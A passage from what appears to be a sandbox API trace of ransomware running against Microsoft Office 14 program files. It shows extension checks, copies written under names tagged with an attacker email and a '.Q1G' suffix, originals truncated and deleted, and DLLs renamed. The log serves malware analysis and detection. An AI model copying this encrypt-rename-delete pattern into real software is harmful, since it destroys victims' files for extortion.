[0261.221] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0261.221] lstrlenW (lpString=".bz2") returned 4 [0261.221] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0261.221] lstrlenW (lpString=".7z") returned 3 [0261.221] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0261.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0261.221] lstrlenW (lpString=".dbf") returned 4 [0261.221] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0261.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0261.222] lstrlenW (lpString=".1cd") returned 4 [0261.222] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0261.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBGHELP.DLL") returned 54 [0261.222] lstrlenW (lpString=".jpg") returned 4 [0261.222] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0261.222] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0261.222] lstrlenW (lpString="DBSHARE.DLL") returned 11 [0261.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbshare.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0261.232] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=99272) returned 1 [0261.232] CloseHandle (hObject=0x1b8) returned 1 [0261.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbshare.dll")) returned 0x20 [0261.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\dbshare.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbshare.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0261.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0261.232] lstrlenW (lpString=".doc") returned 4 [0261.232] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0261.232] lstrlenW (lpString=".docx") returned 5 [0261.232] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0261.232] lstrlenW (lpString=".pdf") returned 4 [0261.232] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0261.232] lstrlenW (lpString=".xls") returned 4 [0261.232] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0261.232] lstrlenW (lpString=".xlsx") returned 5 [0261.232] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0261.232] lstrlenW (lpString=".ppt") returned 4 [0261.232] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0261.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0261.233] lstrlenW (lpString=".zip") returned 4 [0261.233] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0261.233] lstrlenW (lpString=".rar") returned 4 [0261.233] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0261.233] lstrlenW (lpString=".bz2") returned 4 [0261.233] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0261.233] lstrlenW (lpString=".7z") returned 3 [0261.233] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0261.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0261.233] lstrlenW (lpString=".dbf") returned 4 [0261.233] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0261.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0261.233] lstrlenW (lpString=".1cd") returned 4 [0261.233] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0261.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0261.233] lstrlenW (lpString=".jpg") returned 4 [0261.233] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0261.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0261.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0261.233] lstrlenW (lpString=".doc") returned 4 [0261.233] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0261.233] lstrlenW (lpString=".docx") returned 5 [0261.233] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0261.233] lstrlenW (lpString=".pdf") returned 4 [0261.233] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0261.233] lstrlenW (lpString=".xls") returned 4 [0261.233] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0261.233] lstrlenW (lpString=".xlsx") returned 5 [0261.233] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0261.233] lstrlenW (lpString=".ppt") returned 4 [0261.233] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0261.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0261.233] lstrlenW (lpString=".zip") returned 4 [0261.233] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0261.233] lstrlenW (lpString=".rar") returned 4 [0261.233] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0261.234] lstrlenW (lpString=".bz2") returned 4 [0261.234] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0261.234] lstrlenW (lpString=".7z") returned 3 [0261.234] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0261.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0261.234] lstrlenW (lpString=".dbf") returned 4 [0261.234] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0261.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0261.234] lstrlenW (lpString=".1cd") returned 4 [0261.234] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0261.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBSHARE.DLL") returned 54 [0261.234] lstrlenW (lpString=".jpg") returned 4 [0261.234] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0261.234] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0261.234] lstrlenW (lpString="DBWIZ.DLL") returned 9 [0261.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbwiz.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0261.234] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=1276776) returned 1 [0261.235] CloseHandle (hObject=0x1b8) returned 1 [0261.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbwiz.dll")) returned 0x20 [0261.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\dbwiz.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dbwiz.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0261.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0261.235] lstrlenW (lpString=".doc") returned 4 [0261.235] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0261.235] lstrlenW (lpString=".docx") returned 5 [0261.235] lstrcmpiW (lpString1=".docx", lpString2="Z.DLL") returned -1 [0261.235] lstrlenW (lpString=".pdf") returned 4 [0261.235] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0261.235] lstrlenW (lpString=".xls") returned 4 [0261.235] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0261.235] lstrlenW (lpString=".xlsx") returned 5 [0261.235] lstrcmpiW (lpString1=".xlsx", lpString2="Z.DLL") returned -1 [0261.235] lstrlenW (lpString=".ppt") returned 4 [0261.235] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0261.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0261.235] lstrlenW (lpString=".zip") returned 4 [0261.235] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0261.235] lstrlenW (lpString=".rar") returned 4 [0261.235] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0261.235] lstrlenW (lpString=".bz2") returned 4 [0261.235] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0261.236] lstrlenW (lpString=".7z") returned 3 [0261.236] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0261.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0261.236] lstrlenW (lpString=".dbf") returned 4 [0261.236] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0261.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0261.236] lstrlenW (lpString=".1cd") returned 4 [0261.236] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0261.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0261.236] lstrlenW (lpString=".jpg") returned 4 [0261.236] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0261.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0261.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0261.236] lstrlenW (lpString=".doc") returned 4 [0261.236] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0261.236] lstrlenW (lpString=".docx") returned 5 [0261.236] lstrcmpiW (lpString1=".docx", lpString2="Z.DLL") returned -1 [0261.236] lstrlenW (lpString=".pdf") returned 4 [0261.236] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0261.236] lstrlenW (lpString=".xls") returned 4 [0261.236] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0261.236] lstrlenW (lpString=".xlsx") returned 5 [0261.236] lstrcmpiW (lpString1=".xlsx", lpString2="Z.DLL") returned -1 [0261.236] lstrlenW (lpString=".ppt") returned 4 [0261.236] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0261.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0261.236] lstrlenW (lpString=".zip") returned 4 [0261.236] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0261.236] lstrlenW (lpString=".rar") returned 4 [0261.236] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0261.236] lstrlenW (lpString=".bz2") returned 4 [0261.236] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0261.236] lstrlenW (lpString=".7z") returned 3 [0261.236] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0261.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0261.236] lstrlenW (lpString=".dbf") returned 4 [0261.237] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0261.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0261.237] lstrlenW (lpString=".1cd") returned 4 [0261.237] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0261.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DBWIZ.DLL") returned 52 [0261.237] lstrlenW (lpString=".jpg") returned 4 [0261.237] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0261.237] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0261.237] lstrlenW (lpString="DGRMLNCH.DLL") returned 12 [0261.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dgrmlnch.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0261.247] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=108904) returned 1 [0261.247] CloseHandle (hObject=0x1b8) returned 1 [0261.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dgrmlnch.dll")) returned 0x20 [0261.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\dgrmlnch.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dgrmlnch.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0261.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0261.248] lstrlenW (lpString=".doc") returned 4 [0261.248] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0261.248] lstrlenW (lpString=".docx") returned 5 [0261.248] lstrcmpiW (lpString1=".docx", lpString2="H.DLL") returned -1 [0261.248] lstrlenW (lpString=".pdf") returned 4 [0261.248] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0261.248] lstrlenW (lpString=".xls") returned 4 [0261.248] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0261.248] lstrlenW (lpString=".xlsx") returned 5 [0261.248] lstrcmpiW (lpString1=".xlsx", lpString2="H.DLL") returned -1 [0261.248] lstrlenW (lpString=".ppt") returned 4 [0261.248] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0261.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0261.248] lstrlenW (lpString=".zip") returned 4 [0261.248] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0261.248] lstrlenW (lpString=".rar") returned 4 [0261.248] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0261.248] lstrlenW (lpString=".bz2") returned 4 [0261.248] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0261.248] lstrlenW (lpString=".7z") returned 3 [0261.248] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0261.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0261.248] lstrlenW (lpString=".dbf") returned 4 [0261.248] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0261.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0261.248] lstrlenW (lpString=".1cd") returned 4 [0261.248] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0261.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0261.248] lstrlenW (lpString=".jpg") returned 4 [0261.248] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0261.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0261.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0261.249] lstrlenW (lpString=".doc") returned 4 [0261.249] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0261.249] lstrlenW (lpString=".docx") returned 5 [0261.249] lstrcmpiW (lpString1=".docx", lpString2="H.DLL") returned -1 [0261.249] lstrlenW (lpString=".pdf") returned 4 [0261.249] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0261.249] lstrlenW (lpString=".xls") returned 4 [0261.249] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0261.249] lstrlenW (lpString=".xlsx") returned 5 [0261.249] lstrcmpiW (lpString1=".xlsx", lpString2="H.DLL") returned -1 [0261.249] lstrlenW (lpString=".ppt") returned 4 [0261.249] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0261.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0261.249] lstrlenW (lpString=".zip") returned 4 [0261.249] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0261.249] lstrlenW (lpString=".rar") returned 4 [0261.249] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0261.249] lstrlenW (lpString=".bz2") returned 4 [0261.249] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0261.249] lstrlenW (lpString=".7z") returned 3 [0261.249] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0261.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0261.249] lstrlenW (lpString=".dbf") returned 4 [0261.249] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0261.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0261.249] lstrlenW (lpString=".1cd") returned 4 [0261.249] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0261.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DGRMLNCH.DLL") returned 55 [0261.249] lstrlenW (lpString=".jpg") returned 4 [0261.249] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0261.250] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0261.250] lstrlenW (lpString="DLGSETP.DLL") returned 11 [0261.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dlgsetp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0261.251] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=116592) returned 1 [0261.251] CloseHandle (hObject=0x1b8) returned 1 [0261.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dlgsetp.dll")) returned 0x20 [0261.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\dlgsetp.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dlgsetp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL") returned 54 [0261.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL") returned 54 [0261.251] lstrlenW (lpString=".doc") returned 4 [0261.251] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0261.251] lstrlenW (lpString=".docx") returned 5 [0261.251] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0261.251] lstrlenW (lpString=".pdf") returned 4 [0261.251] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0261.251] lstrlenW (lpString=".xls") returned 4 [0261.251] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0261.251] lstrlenW (lpString=".xlsx") returned 5 [0261.251] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0261.251] lstrlenW (lpString=".ppt") returned 4 [0261.252] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0261.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL") returned 54 [0261.252] lstrlenW (lpString=".zip") returned 4 [0261.252] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0261.252] lstrlenW (lpString=".rar") returned 4 [0261.252] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0261.252] lstrlenW (lpString=".bz2") returned 4 [0261.252] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0261.252] lstrlenW (lpString=".7z") returned 3 [0261.252] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0261.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DLGSETP.DLL") returned 54 [0261.252] lstrlenW (lpString=".dbf") returned 4 [0261.252] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0261.253] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\drilldwn.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\drilldwn.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0261.255] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dwgdp.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\dwgdp.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0261.258] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\emsmdb32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\emsmdb32.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0261.259] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.259] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\english.lng.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0261.260] GetLastError () returned 0x0 [0261.260] ReadFile (in: hFile=0x1b8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x4c22c, lpOverlapped=0x0) returned 1 [0261.271] WriteFile (in: hFile=0x3c4, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x4c230, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x4c230, lpOverlapped=0x0) returned 1 [0261.420] ReadFile (in: hFile=0x1b8, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.420] WriteFile (in: hFile=0x3c4, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xea, lpOverlapped=0x0) returned 1 [0261.420] SetEndOfFile (hFile=0x3c4) returned 1 [0261.420] CloseHandle (hObject=0x3c4) returned 1 [0261.420] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.420] SetEndOfFile (hFile=0x1b8) returned 1 [0261.427] CloseHandle (hObject=0x1b8) returned 1 [0261.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.433] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\english.lng")) returned 1 [0261.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0261.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0261.434] lstrlenW (lpString=".doc") returned 4 [0261.434] lstrcmpiW (lpString1=".doc", lpString2=".LNG") returned -1 [0261.434] lstrlenW (lpString=".docx") returned 5 [0261.434] lstrcmpiW (lpString1=".docx", lpString2="H.LNG") returned -1 [0261.434] lstrlenW (lpString=".pdf") returned 4 [0261.434] lstrcmpiW (lpString1=".pdf", lpString2=".LNG") returned 1 [0261.434] lstrlenW (lpString=".xls") returned 4 [0261.434] lstrcmpiW (lpString1=".xls", lpString2=".LNG") returned 1 [0261.434] lstrlenW (lpString=".xlsx") returned 5 [0261.434] lstrcmpiW (lpString1=".xlsx", lpString2="H.LNG") returned -1 [0261.434] lstrlenW (lpString=".ppt") returned 4 [0261.434] lstrcmpiW (lpString1=".ppt", lpString2=".LNG") returned 1 [0261.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0261.434] lstrlenW (lpString=".zip") returned 4 [0261.434] lstrcmpiW (lpString1=".zip", lpString2=".LNG") returned 1 [0261.434] lstrlenW (lpString=".rar") returned 4 [0261.434] lstrcmpiW (lpString1=".rar", lpString2=".LNG") returned 1 [0261.434] lstrlenW (lpString=".bz2") returned 4 [0261.434] lstrcmpiW (lpString1=".bz2", lpString2=".LNG") returned -1 [0261.434] lstrlenW (lpString=".7z") returned 3 [0261.434] lstrcmpiW (lpString1=".7z", lpString2="LNG") returned -1 [0261.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ENGLISH.LNG") returned 54 [0261.434] lstrlenW (lpString=".dbf") returned 4 [0261.435] lstrcmpiW (lpString1=".dbf", lpString2=".LNG") returned -1 [0261.435] lstrlenW 